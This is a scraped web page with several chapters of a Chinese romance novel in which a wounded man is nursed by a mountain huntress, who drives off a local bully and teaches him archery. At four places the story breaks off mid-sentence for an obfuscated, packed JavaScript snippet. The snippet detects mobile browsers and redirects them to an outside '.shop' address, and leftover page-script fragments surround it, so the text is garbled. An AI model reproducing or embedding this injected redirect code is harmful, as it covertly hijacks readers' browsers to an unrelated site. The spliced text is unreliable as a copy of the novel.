吃了饭,天已经黑了。徐珩正纠结怎么跟阿萝要一套换洗的衣服时,阿萝已经把衣服递到他跟前了。 衣服不新,但被留存得非常好。 她一个人生活,所有物资来源都靠自己,他担心因为自己的“无理要求”给她带来麻烦,但是现在…… “这是你父亲的吗?”话说出来,徐珩才觉得不妥。 但是阿萝却只是“嗯”了一声,借着灶火的光安静地编织草席。 临睡前,她才忽然说:“你明天想洗澡的话记得烧热水,你还没好,病了会很麻烦。” 她是闻到他身上的味道了吗? “……好。”黑暗中,徐珩有点想拿脑袋去撞墙。 天亮后,阿萝吃了早饭就照常出门。 她一走,徐珩就抓紧时间烧水洗澡、洗衣服。 只是他伤还比较严重,动作难免比较慢,等全部收拾完,晾好衣服时,已经是午后了。 阿萝午间没有回来。 也不知道是不是特意给他留出足够的时间…… 徐珩不确定,拄着木杖将家里收拾干净。 但是直到天黑,阿萝也没回来。 夜风一阵又一阵,黑黝黝的门外,始终没有出现那道影子。 是出什么事了吗? 掉山崖了?遇到野兽了?被蛇咬了?还是…… 徐珩越等越心慌,脑海里不受控制地浮现出各种可怕的意外,他没办法继续坐着不动等下去,拄着木杖就出了门。 阿萝家里连火把也没有,他只能摸黑出门。 他记得阿萝出门时走的方向,一路追寻。 可是夜里的山林,比白日里更加空旷浩大了。 当背后的家消失在视线里时,徐珩觉得自己好像淹没在了无尽的黑色海洋里,风一吹,大浪萧萧。 可是阿萝还没有回来。 徐珩继续往前走。 越往里走,林子就越密,路也越狭窄、崎岖,即便是四肢健全的人白日里行走也是不易,何况是尚且还在依赖木杖行走的徐珩。 慢慢的,山林彻底陷入了伸手不见五指的黑暗。方才在家中,那些念头不过是盘旋在心头的惊惶,此刻踏入这无边无际的山林,忽然都成了鬼魅。而杳杳山林里,没有一丝半缕属于阿萝的气息。 他也不敢喊,怕惊着山里的野兽,也怕着呜呜咽咽的风声卷走自己的声音,传不到阿萝的耳中。 在山里转了也不知道多久,不仅连阿萝的半点影子都没找到,他也成功地……迷路了。 眼前一片漆黑,头顶连一丝星光都透不下来,四周的树木和岩石在黑暗中呈现出几乎一模一样的、模糊而狰狞的轮廓。 他完全失去方向,甚至连自己的来时路在哪个方向也已经忘了。 一种前所未有的、近乎绝望的情绪,开始在他心底滋生。他第一次如此清晰地意识到,在这片广袤而神秘的山林面前,自己的力量是多么渺小,他的寻找是多么徒劳。 就在这时,远处,似乎传来了一声极轻微的、不同于风声的响动。 徐珩瞪大眼睛,死死地盯着响动的方向。 树影深重,如鬼魅交错的鬼爪,层层叠叠的枝叶如同密不透风的密网。 忽然,一点昏黄的光晕,在林间悠然亮起。 一个人绕过虬结的老树、穿过横斜的荆条,朝他的方向而来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251267|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿萝……”虽然看不清长相,但是徐珩还是拄着木杖迎了上去,他就觉得是她。 实际证明,他的感觉没有错。 阿萝擎着一根细细的火把,橘黄色的光芒勉强驱散了周围一小圈浓得化不开的黑暗。 见到他,她清晰地松了一口气,“你不好好在家,出来做什么?” 她语气平静,但徐珩却无端感受到一丝……心虚和窘迫。 “我……你一直没回来……”他下意识解释,但是阿萝的目光已经从他脸上移开,落到了他微微颤抖、支撑着身体的伤腿上。 “腿伤加重了?”她眉头几不可见地蹙了一下,语气依然没什么波澜,手直接探向他受伤的小腿。 果然,是湿的,黏稠的。 她收回手,揪着火光看了一眼,是暗红色的。 她几不可闻地叹了一下,将火把往他手里一塞,再次蹲下。 徐珩下意识想避开,但是腿伤行动不便,还没来得及动,阿萝已经撩起他的裤腿,动作干净利落。 徐珩倒吸一口凉气——冷、疼,还有尴尬。 她太毫无避讳了。 但是阿萝却仿佛没有察觉,从身上取出干净的布条和药粉,动作熟练地清洗周围的血污,撒上药粉,用布条重新仔细包扎。 整个过程,她都没有说话。徐珩低头看着乌黑的发顶,刚刚迷失山野的恐惧感已经不知道什么时候尽数消散了。 取而代之是前所未有的……安心。 前所未有的安心。 包扎完毕,阿萝站起身来,接过火把,目光在他脸上停留了片刻。她似乎想说什么,最终还是只抿了抿唇,淡淡问:“能走吗?” 徐珩试着动了动腿,疼痛依旧,但是比刚刚稳固,“能。” “跟着我。”阿萝说着,转身,举着火把朝着一个方向走去。 无边的黑暗里,她手里的光成了唯一明确的指引。 她还是不说话,但是在崎岖陡峭处,她会放慢速度,甚至转身伸手扶他一把。 有了她的引领,回家的路似乎比来时近了不少。 好像很快,透着微光的小屋就出现在眼前。 简陋的小屋,在这一瞬间似乎也变成了能阻挡一切风霜与危险的所在。 阿萝推开门,点起唯一的一盏松油灯,倒了两碗热水,将其中一碗递给他。 折腾半夜,徐珩正又累又渴,一碗热水下肚,整个人好像都活了过来,“你怎么才回来?出什么事了吗?” “我今天下山了。”阿萝指了指墙边的米和盐,“没上山。” 一瞬间,徐珩觉得自己好像闹了笑话,嘴巴张了又张,什么也说不出来。好半天,他才问道:“你经常下山吗?换物资?” 阿萝却摇摇头,“不常,平时会有货郎上山来,只是最近用的多,等不到货郎来。” 用的多?! 不就是因为他吗? 徐珩脸一下子热了,“你下山,很远吗?”不然怎么这么久才回来? “算吧。”阿萝的回答依旧简短,她似乎从不主动说自己的事,但是今天却不一样,她忽然抬起垂着的眼眸,越过摇曳不定的火光看向他,“回来完是因为在山下遇见一个人,他不是好人,如果……如果他找上来,你记得避开。” 徐珩脑海里立刻浮现起孤女被恶霸欺凌的话本,挺直了腰身,“怎么?是地痞?他欺负你了?” 但是阿萝却仿佛见到了什么奇怪的东西,眉头压了压,露出费解的神色,“他?他还没这个本事。” 她眉目从容,像是在笑话他狗眼看人低,但是徐珩不但不觉得尴尬或恼怒,反而控制不住地笑了出来。 5. 第 5 章 徐珩第一次见到山下的恶霸,是在一个阴沉沉的午后。 那时他已能不用木杖,自己慢慢地走上几十步,伤口结的痂开始发痒,是长新肉的征兆。阿萝说,再养半个月,他就能试着做些轻活。 他们正在屋前的空地上晒草药,深秋的阳光吝啬,难得有这么一个不算太阴的日子,阿萝把积攒的几筐草药都搬出来,摊在干净的竹席上。 徐珩坐在一旁的小板凳上,帮她挑拣混在里面的枯叶和杂草。 动作还很慢,但手指已经灵活了许多。 阿萝偶尔会瞥他一眼,看他垂着眼,神情专注地挑拣着那些细碎的叶片。他的手指修长,骨节分明,虽然带着伤后的苍白,却有种读书人特有的秀气,一看就知道他不属于这地方。 但她没说。 山林接纳一切,狼有狼的活法,鹿有鹿的活法,人也是。 正安静着,远处忽然传来一声尖锐的鸟叫。 阿萝的手顿住了。 她抬起头,望向声音传来的方向,那是通往山下的小径。 她眉头微微蹙起,眼神里的平静瞬间被一种冷冽的警惕取代。 徐珩也听见了,他放下手里的草药,看向阿萝。 “有人来了?”他低声问。 阿萝没回答,她迅速起身,走到空地边缘,侧耳倾听。 阵阵风声中,人声隐隐。 不止一个人,脚步杂乱,骂骂咧咧。 她的脸色沉了下去。 “进屋,”她转身,对徐珩说,语气是不容置疑的命令。 “是谁?”徐珩撑着膝盖站起来,腿伤还没好全,动作有些踉跄。 “山下的人,”阿萝已经走到他身边,伸手扶住他的胳膊,力道很大,几乎是半拖半拽地把他往屋里带,“别出来,别出声。” 她把徐珩推进屋里,反手关上门,从里面闩好,又迅速走到窗边,把遮窗的木板落下,只留一道缝隙。 屋里瞬间暗了下来,只有从木板缝隙和门缝里漏进来的几缕天光。 徐珩靠着墙,心跳有些快。 他看向阿萝,她正伏在窗缝边,一动不动地向外窥视,侧脸在昏暗的光线里,轮廓冷硬得像石头。 外面的人声越来越近。 “……他娘的,这破路,老子鞋都快磨破了!” “虎哥,那丫头真住这鬼地方?阴森森的……” “错不了!前阵子王老七上山套兔子,远远瞧见过炊烟,除了那克星,还有谁会往这晦气地方钻?” 粗粝的男声,带着浓重的乡音和毫不掩饰的恶意。 徐珩听清了,是冲着阿萝来的。 阿萝依旧伏在窗边,连呼吸声都轻得几乎听不见,只有握着窗板边缘的手指,因为用力而微微发白。 脚步声停在了屋外的空地上。 “阿萝!小娘皮,给老子滚出来!” 为首的汉子嗓门极大,震得门板都似乎颤了颤。 徐珩透过门缝,隐约看见一个魁梧的身影,穿着件说长有点短说短又有点长的褂子,腰里系着一根拧着的腰带,看着有些滑稽。 他叉腰站在空地上,身后跟着两个歪瓜裂枣的跟班,一个瘦高,一个矮胖,都嬉皮笑脸的,眼里闪着不怀好意的光。 是赵虎。 阿萝之前提过一次,山下镇子里游手好闲的混子头,仗着家里有几亩地,舅舅在县衙当差,横行乡里面早就盯上阿萝孤身一人,几次三番想占便宜。 后来阿萝来了这里,她行事小心谨慎,已经很久没碰上他了,只是前几日遥遥见到他一眼。 “虎哥,好像没人啊?”瘦高个伸着脖子往屋里瞅。 “放屁!门闩着,火塘还冒烟呢,肯定在里头!”赵虎啐了一口,走上前,用力拍门,“阿萝!听见没有?开门!再不开门,老子可踹了!” 门板被拍得砰砰作响。 徐珩看向阿萝,她终于从窗边直起身,脸上没什么表情,只是眼神冷得像结冰的溪水。 她没去开门,也没出声,只是走到屋角,拿起了那把自制的弓,又从箭囊里抽出一支箭,搭在弦上。 动作流畅,没有丝毫犹豫。 然后,她走到门后,透过门板的缝隙,向外瞄准。 徐珩的心提到了嗓子眼,他想开口,想让她别冲动,想问她打算怎么办。但看着阿萝平静到近乎冷酷的侧脸,他忽然意识到,这不是她第一次面对这种局面。 她知道自己该做什么。 外面,赵虎拍门不开,火气上来了。 “敬酒不吃吃罚酒!”他退后两步,抬脚就要踹门。 就在这一瞬间—— “嗖!” 一支箭从门板的缝隙里疾射而出,擦着赵虎的耳畔飞过,“笃”一声钉在了他身后不远处的树干上,箭尾嗡嗡震颤。 赵虎的脚僵在半空,整个人都愣住了。 他身后的两个跟班也吓傻了,瞪大眼睛看着那支还在颤动的箭。 屋里传来阿萝平静的声音,透过门板,带着冰冷的回响:“下一箭,瞄准的是眼睛。” 赵虎的脸色瞬间变得铁青,他猛地扭头,看向那支钉在树上的箭——箭头上绑着一小撮红色的羽毛,在灰蒙蒙的天色里格外刺眼。 这丫头,是真敢下手。 “你……你敢!”赵虎色厉内荏地吼道,脚下却不由自主地退了一步,“老子是赵虎!我舅是县衙的张书吏!你敢伤我,信不信我带人平了你这破屋子!” 屋里沉默了片刻。 然后,阿萝的声音再次响起,依旧平静,却多了一丝嘲讽:“那你试试,看是你带的人先踏平这里,还是山里的狼,先找到你舅舅养的野女人。” 赵虎的脸“唰”地白了。 这件事他做得极其隐秘,连他爹娘都不知道,这丫头怎么会……他舅母无法生育,但娘家却强悍,他给舅舅出了这主意,让外头颇有姿色的娘子给舅舅传宗接代,才在他跟前得了些风光,要是她们母子出了什么事,他第一个倒霉。 “你……你胡说什么!”他声音发虚,眼神闪烁。 “是不是胡说,你心里清楚,”阿萝的声音冷了下去,“现在,滚。” 最后一个字,像冰珠子砸在地上。 赵虎站在空地上,进也不是,退也不是,两个跟班早就缩到了他身后,小声嘀咕:“虎哥,这丫头邪性……要不,先回去?” 僵持了足足十几息。 最终,赵虎狠狠往地上啐了一口,指着屋门骂道:“小贱人,你给老子等着!有你求老子的时候!” 说完,他转身,带着两个跟班,骂骂咧咧地往山下走去,脚步匆忙,背影狼狈。 直到那三人的身影彻底消失在小径尽头,阿萝才缓缓放下了弓。 她没立刻开门,而是又伏到窗边,仔细听了一会儿远处的动静,确认人真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251268|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的走了,才走到门边,拔开门闩,推开了门。 天光涌进来,照亮了她平静的脸。 徐珩走到门口,看着她:“没事了?” “暂时,”阿萝把弓挂回墙上,“他们还会来。” “为什么?”徐珩皱眉。 阿萝看了他一眼,那眼神像是在说“你是不是傻”。 她走到空地上,弯腰捡起那支射出去的箭,用布擦干净箭头的泥土,“赵虎想要我这个人,得不到,他不会甘心。” 她说得简单,徐珩却听懂了背后的利益纠葛。孤女,尤其是有姿色的孤女……在哪里都一样,总是被人盯着。 “你刚才说的……他舅舅的野女人?”他问。 “去年秋天,我撞见赵虎偷偷摸摸往县里去,跟到一个巷子,看见他进了一个小院,里头有个年轻女人抱着孩子,”阿萝把箭插回箭囊,“后来打听了一下,是张书吏养的外室,连他正头夫人都不知道。” 她语气平淡,像是在说一件再寻常不过的事。 徐珩却听得心惊,这女子,平日里沉默寡言,却把山下那些对她有威胁的人的底细摸得清清楚楚。 “你就不怕他狗急跳墙?”他问。 阿萝转头看他,眼神里有种近乎天真的疑惑:“怕有用?” 徐珩顿时哑然。 确实,怕有什么用,就像他怕过嫡兄的陷害,怕过战场上的刀剑,怕过落水时的窒息,可是都没用。 该来的还是会来,能解决问题的,只有手里的刀,和心里那口不肯咽下去的气。 这样想着,他不由笑了出来,亏得他读了那么多书,竟不如眼前这个姑娘通透。 阿萝看着他笑,眉头微蹙:“你笑什么?” “没什么,”徐珩摇头,望向她时笑意更深了些,“只是觉得,你比我厉害。” 阿萝没接话,她走回屋里,开始收拾刚才被打断的草药。阳光从门外斜斜照进来,落在她低头忙碌的身影上,镀上一层毛茸茸的金边。 徐珩拄着木杖,慢慢地走到门口,靠在门框上,看着她的背影。 山林寂静依旧。 但方才那场短暂的冲突,像一颗石子投入深潭,在他心里荡开了一圈圈涟漪。 山里的日子其实远没有他想象中的那么平静美好,阿萝在这里生活,比他想象的更为不易。 而他,或许早已在不知不觉间,成了她需要分心保护的又一个“麻烦”。 这个认知让他胸口发闷,却又奇异地生出一股力量。 他得快点好起来。 好到能拿起刀,好到能站在她身边,好到能让那些魑魅魍魉知道——这座山,这个人,不是谁都能来踩一脚的。 “阿萝。”他忽然开口。 阿萝回过头。 对上她的眼睛,徐珩才发现他其实只是想唤她的名字,可是既然唤了,总要说点什么才不显得那么奇怪。 “……你教我射箭吧,不用像你那么准,至少……下次他们再来,我能帮你守住门。” 话说出来后,徐珩才发现情急之下自己的反应很不错,阿萝的箭术,跟军中有很明显的不同,至于哪里不同,他一时间说不上来。 阿萝奇怪地看着他,眼神定定地,直让徐珩心里发怵。 是不是太冒昧了? “不教也没关系,我……” 徐珩正要解释,没想到阿萝却点了点头“好。” 6. 第 6 章 阿萝答应教他射箭,在她看来那至少是他腿好之后的事情了。 当然,腿好了他还想不想学有没有时间学,那就不是她该操心的事情了,所以她根本没把这件事放在心上。 但是那天她刚从外面回来,就看到徐珩在把玩她随手挂在墙上的弓。 也不知道是不是一个人在家养伤太无聊了。 那弓是她用好几张上好的皮货换来的,形制小巧,但是却硬,力道强劲,光滑的弓身透着经年使用的温润光。 她没说什么,把药篓放下,自己去倒水喝。 “你的箭法很好,怎么练的?”徐珩的声音忽然从身后传来。 这屋子多年来都只有窗外的风声,人声就显得格外的珍贵。 她顿了顿,没回头,将水吞下肚:“山里讨生活,就得会这个。” 徐珩放下弓,拄着木杖,慢慢走到她身边。 “我兄长……有专门的教习,”他低声说,声音有些吞吐,但听不出情绪,“侯府重金请的,据说是禁军退下来的教头,我偷看过几次。” 阿萝转过身,看着他,听不懂那些词,也不是很明白他为什么说这些。 徐珩的目光落在弓弦上,像是透过它看到了很远的地方:“那教习教的东西很规矩,怎么站,怎么握,怎么瞄,一步不能错,我兄长照着学,五十步能中靶心,教习都说好。” 他顿了顿,扯了扯嘴角:“我也偷偷跟着练过,躲在演武场后面的假山石缝里,学他的姿势,学他的动作,练了三个月,三十步内也能上靶了,我以为……我学会了。” 但是跟阿萝的比起来,完全就是花拳绣腿,军中善此道的人也不多。 阿萝没说话,只是静静地听着。 “后来在军中,第一次实战射箭,”徐珩的声音里带了些惆怅,“目标是百步外移动的草靶,我按教习教的方法——站稳,搭箭,瞄准,松弦,箭飞出去,结果偏了。” 他抬起头,看向阿萝:“风太大了,草靶在晃,我的心跳得太快,那些规矩,那些步骤,在那种时候……全没用了。” 阿萝走到门边,捡起弓,递给他,“试试。” 徐珩接过弓,迟疑了一会儿,扔开木杖,决心一试。 他习惯性地摆出那个偷学来的姿势——双脚分开与肩同宽,挺胸收腹,左手握弓,右手扣弦。 标准,规矩,配上他修长的四肢和薄而挺拔的身姿,好看得像一幅画。 然后他拉开弓弦,力道对他来说不算重,只是以他现在的体力,勉强能拉开后就站不稳了。 “腿伤没好,坐着射,”阿萝从箭囊里抽出一支箭,递给他,然后指了指门外空地上那棵被射中的树,“就射那棵树。” 徐珩瘸着腿走到门口,在门槛上坐下,他深吸一口气,搭箭上弦,瞄准,姿势很标准。 然后,他松开了弦。 箭飞出去,在空中划出一道弧线,然后……擦着树干飞过,扎进了后面的草丛里。 偏了几寸。 徐珩放下弓,看着那支没入草丛的箭,沉默了片刻。 “大体是对的,”阿萝走到他身边,看着他,“但你只懂得模仿外表,却不懂里子。” 徐珩抬起头,满眼疑惑。 “那个、那个什么,教的是射死靶,”阿萝的声音很平静,“风是定好的,光是定好的,靶子是不会动的,那种时候,当然随便就能射中了。” 她拿过他手里的弓,又从箭囊抽出一支箭,搭弦,开弓……动作行云流水,没有丝毫刻意的“标准”,却自然得像是弓弦本就是她身体的一部分。 “但在山里不一样,”她说,目光落在远处的树干上,“风会突然变,光会被云遮住,猎物会在感受到危险的时候跳开,你来不及想下一步该怎么做,也来不及调整。” 她松开弦。 箭矢破空,“笃”一声,稳稳钉在了树干上,离她之前射中的那支箭,只差半寸。 “你要做的,是让箭变成你眼睛和手,”阿萝把弓递还给他,“感觉到风,就顺着风走,看见光,就追着光去,猎物什么时候会警觉,什么时候会跳开……这些,不是用眼睛看的,是用这里。” 她指了指自己的心口。 徐珩握紧了手中的弓,似乎明白阿萝的箭术和教习的区别了。 那个禁军退下来的教习,教的是“射艺”,而阿萝教的,是“射命”。 一个是为了在贵人面前展现风度,一个是为了在生死之间活下来。 天壤之别。 “你教我好不好?”他看着阿萝,眼神认真,“我想学,想跟你一样厉害。” 阿萝点了点头。 她从墙角搬来一个小木墩,放在徐珩面前,又拿来一个空竹筒,放在木墩上。 “先用这个练,”阿萝递给他三支没有箭头的练习箭,“忘掉你学过的所有规矩,只做一件事,用心去感觉。” “感觉?”徐珩接过箭。 “感觉弓弦的震动,感觉箭杆的重量,感觉风吹过箭羽时细微的角度变化,”阿萝蹲在他身边,声音很轻,“然后,让你的手自己动。” 徐珩深吸一口气,搭箭上弦。 他闭上眼睛。 忘掉教习教的站姿,忘掉兄长那标准的动作,忘掉演武场上那些喝彩和掌声。 手心木质的温润,弓弦紧绷的张力,箭杆在指尖微微的颤动。 从山谷那边吹来的风,带着湿气和落叶的味道,从左前方斜斜地拂过他的脸颊。 他睁开眼,松弦。 练习箭飞出去,在空中划过,“啪”一声,轻轻打在了竹筒的边缘。 竹筒晃了晃,没倒是,但至少碰到了。 “再来。”阿萝眼睛望着竹筒的方向,递给他一支箭。 徐珩接过,他试着不去瞄准,而是去感觉竹筒在木墩上的位置——不是用眼睛测量距离,而是在心里勾勒出那个圆筒的形状、高度、在空间里的存在感。 心念一动,手指立刻松开。 箭擦着竹筒飞过,打在木墩上。 阿萝神色如常,继续给他递箭。 徐珩接过,一个深呼吸后慢慢调整呼吸,让心跳慢下来。手指扣弦的力度,肩背发力的角度,松弦的时机—— 松弦。 “咚”的一声轻响。 练习箭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251269|197952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钝头,正中竹筒中心,将竹筒从木墩上打落在地。 徐珩放下弓,看着地上滚动的竹筒,又抬头看向阿萝。 她居高临下地看着他,脸上没什么表情,见到他看了过去,就点了点头。 “记住这个感觉,每天练,不用多,十箭就好,但每一箭,都要用这个感觉。” 徐珩握紧了手中的弓。 要把十几年偷学来的“规矩”全部打碎,重新建立一套依赖于本能和直觉的体系其实是很难的。 但是他愿意。 无论能不能学成,他都愿意。 山林寂静,阳光稀薄。 屋前空地上,一个坐着的身影,一次次拉开弓弦,射出没有箭头的箭矢。竹筒在木墩上放了又落,落了又放。 从一开始的十箭九空,到后来的十箭五中,再到夕阳西下时,十箭能有七箭稳稳打中竹筒。 另一个身影站在一旁,偶尔开口:“风变了,往左偏一点。” “呼吸太急,慢下来。” “别想,让手自己动。” 徐珩照做,一箭,又一箭,伤口在用力时隐隐作痛,手臂因为久未练习而酸胀发抖。 但他没停。 他在练习,而身边有个人关注着他,跟他一起看着同一个方向。 他喜欢这种感觉,不忍中断。 所以当夕阳西下,阿萝喊停的时候,徐珩的手臂已经抬不起来了。 但他看着地上那个被练习箭打得坑坑洼洼的竹筒,胸口那股一直压着的闷气,忽然就散了。 “明天继续。”阿萝收起弓,转身往屋里走。 徐珩坐在门槛上,看着她被夕阳拉长的背影,忽然开口:“阿萝。” 她回过头。 “你比那个教习厉害。”他说,真的。 阿萝看了他片刻,然后,很轻地皱了下眉,注意力完全偏离重点,“教习是谁?” 徐珩愣了一下,俯身轻笑出声,“不重要,反正,你厉害。” 别说是名家指点了,她连个正经的启蒙师和引路人都没有,仅凭自己就能练到这个程度,说一句天赋异禀都不为过。 阿萝没再说话,只是转身进了屋。 很快,屋里传来生火的声音,陶罐碰撞的声音,还有米下锅的声音。 徐珩坐在门槛上,看着远处渐渐暗下去的山峦,听着身后屋里那些细碎的、属于生活的声响。 忽然觉得,这片山林,这个屋子,这个连“教习是谁”都懒得问的女子,比他过去二十多年待过的所有地方,见过的所有人,都要真实,都要……干净。 他撑着膝盖站起来,拄着木杖,慢慢挪进屋里。 火光温暖,粥香逐渐弥漫。 一身粗布衣裳的阿萝正蹲在火塘边,搅动锅里的野菜粥,侧脸被火光映得柔和。 “吃饭了。”她说,没有回头。 “嗯。”徐珩在火塘边坐下,接过她递来的碗。 粥很烫,暖意一直渗进骨头缝里。 屋外,夜色彻底落下,山林归于寂静,只有风过树梢的沙沙声。 屋内,火光跳跃,映着两个安静吃饭的身影。 7. 第 7 章 在山里的日子好像过得格外快。 右肋的伤只要没有大幅度动作就不疼了,腿上的伤走起路来也没那么疼了。 身上的伤告诉他,他已经在她家,受她照顾很多天了,但是他却觉得,他好像才到她家,在她身边才几天。 这天他推开门,看见远处的山顶蒙上了一层薄薄的白色。 霜降了。 空气清冽得扎人肺管子,呼出来的气凝成白雾,久久不散。 阿萝已经起来了,正蹲在屋外整理柴垛,听见门响,她回过头,目光在他身上停了停,起身进屋。 徐珩目光追着她,见她从墙上拿下自己缝制的麂皮上衣,走到他面前递给他,“天冷了,多穿点。” 徐珩低头看了看自己身上单薄的旧衣,乖巧地接过:“好。” 阿萝点点头,出门继续整理柴垛。晨光斜照,她微微弯着腰,一缕碎发从鬓角垂下来,随着动作轻轻晃动。 整理完,她抱了几根柴走到火塘边,拨开余烬,添了几根细柴,俯身去吹火,火光跳起来,映亮她的侧脸。 然后,她起身从墙角的竹篓里抓了一把米——米不多,掺着一半晒干的薯块,淘洗两遍后,倒进陶罐里。又切了几块风干的兔肉,撕成细条,一起放进去。 徐珩的视线一直追随着她,她一件事还没做完,他就知道她接下来要做什么了。 不知不觉中,他对她的很多事情都很熟悉了。 粥煮好的时候,天已经大亮。 两人坐在门槛上吃早饭,吃到一半,阿萝忽然说:“今天要去砍柴。” 这是她第一次主动交代自己要去干嘛。 徐珩诧异抬头,下意识开口:“那我也去。” 阿萝摇摇头,“你腿不行,坡陡。”他的腿虽然好了很多,但是走平路尚可,走陡坡却不行。 徐珩皱眉,“你一个人背不了多少。” “那就多去几次。”反正,一向都是这样的,以后也是。 徐珩沉默了片刻,“那我在家,能做些什么?” 阿萝想说什么也不用,但是话到嘴边,不知怎么就又咽了回去,“……那你就把药圃的土翻一翻,该埋的埋,该收的收,霜打了,有些草药不能留了。” “好!” 吃完饭,阿萝收拾碗筷,徐珩起身去拿锄头。墙角的锄头把手上缠着布条,是他前几天缠的,原先的布条磨烂了,他看见,就顺手找了块旧布重新缠了缠。 阿萝洗碗时看见了,什么也没说。但第二天徐珩用锄头时,发现布条缠得更密实了,接头处还打了个很结实但不易察觉的结。 阿萝出门时,太阳已经升得老高。她背着背篓,腰里别着柴刀,头也不回。 徐珩站在门口看她走远,直到她的身影消失在林子的阴影里。 他站了一会儿,才转身去药圃。 药圃不大,紧挨着屋后的岩壁,向阳,避风。里面种着几样草药,有些徐珩认得,有些不认得。 他蹲下身,仔细看那些被霜打过的叶子。有些还硬挺着,有些已经蔫了。他按照阿萝前几天说的,把还能用的小心采下来,摊在竹席上晾晒;已经不行了的,就连根挖起,堆在一旁,等下烧了做草木灰。 干到晌午,他出了一身汗,直起身时,腰背酸疼,腿上的伤口也隐隐发热。 徐珩抹了把汗,继续弯腰干活。手掌磨得发红,起了薄茧,这都是这些日子握锄头、握弓、握刀磨出来的。 他忽然觉得,这茧子挺好。比在侯府时那身细皮嫩肉,踏实多了。 阿萝回来时,已是午后。 她弯着腰,一步一步走得很难,用藤蔓捆好的柴就像一座小山一样压在她后背上。 徐珩连忙放下锄头,迎了上去,伸手去接柴捆,“给我。” “不用。”阿萝喘着气,侧身避开他的手,走到柴垛旁,慢慢蹲下身,把柴捆卸下来。 随着柴捆落地,她才骤然松了口气,直起身来擦了擦额头和鬓边的汗水,贴着皮肤的发丝随之往后贴。 她抬起手臂,活动了一下肩膀,看向药圃,“都挖完了吗?” “还剩一点,”徐珩说,“你先吃饭,锅里温着粥。” 阿萝点点头,进屋去了。 徐珩跟着进去,看见她舀了瓢凉水,正要喝,伸手拦住了。 “有热的。”他指了指灶上温着的小陶罐。 阿萝看了他一眼,放下水瓢,去拿陶罐。倒出来的水冒着热气,但是不烫,她一饮而尽,长长舒了口气,感觉耗去的所有力气都恢复过来了。 徐珩去盛粥铺粥还温着,他盛了一大碗,又夹了一筷子腌菜,递给她。 阿萝垂着手,愣愣地看着他,好像很奇怪他为什么要做这些。 “吃饭呀,你不饿吗?”徐珩催促她。 阿萝接了碗筷,坐到门口去吃。 徐珩也给自己盛了一碗,坐在她身边吃,眼前远方,都是璀璨的光芒。 “柴够了?”他问。 柴哪有够的时候,尤其是天冷之后。 阿萝摇摇头。 “那等我好些了跟你一起去,你今天太累了,需要休息。” 阿萝不置可否,吃完饭就去收拾背回来的柴。 她把粗的挑出来,劈成合适的长短,码在柴垛外层;细的留着引火,捆成小捆,放在屋檐下。 徐珩去把药圃最后一点活干完,挖完最后一株草药,他把土重新翻了一遍,拍碎土块,弄得平整。 做完这些,天色已经有些暗了。 他直起身,捶了捶后腰。一整天弯腰干活,腰背酸得厉害,右肋和腿上的伤也隐隐作痛。 转身时,看见阿萝站在屋门口,手里拿着一个小陶罐。 “过来。”她说。 徐珩走过去,阿萝指了指门槛:“坐下。” 徐珩还没坐下,阿萝就蹲下身,径直掀开他的裤腿。 徐珩:“……” 伤口愈合得很好,痂已经掉了大半,露出底下粉色的新肉。只是周围还有些红肿,是今天干活累着了。 阿萝从陶罐里挖出一团药膏,抹在他伤口周围。 清凉的药膏带着淡淡的草药香,她手指轻盈地抹过,带起若有似无的暖意,徐珩下意识绷紧,脚趾用力抓地。 阿萝蹲身低头,蹙起了眉,“你明天别干了。” 徐珩只能看到她圆圆的头顶,看不见她的表情,“没事,不疼。” “疼不疼都得养,”阿萝站起来,盖好陶罐,“伤没好透,再裂了更麻烦。” 徐珩没再坚持,他放下裤腿,跟着站了起来。 阿萝转身进屋,他又紧随其后。 屋里已经暗了,阿萝点起了油灯——不知道那是什么,但是烧起来有股好闻的味道。火光不大,但足够照亮一方天地。 她开始准备晚饭,中午剩的粥热一热,又炒了一盘野菜。 菜炒好了,香味飘出来,两人捧着碗面对面坐下,安静地吃饭。 吃完饭,徐珩出去抱了些柴添在火塘里,架上一锅水,阿萝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 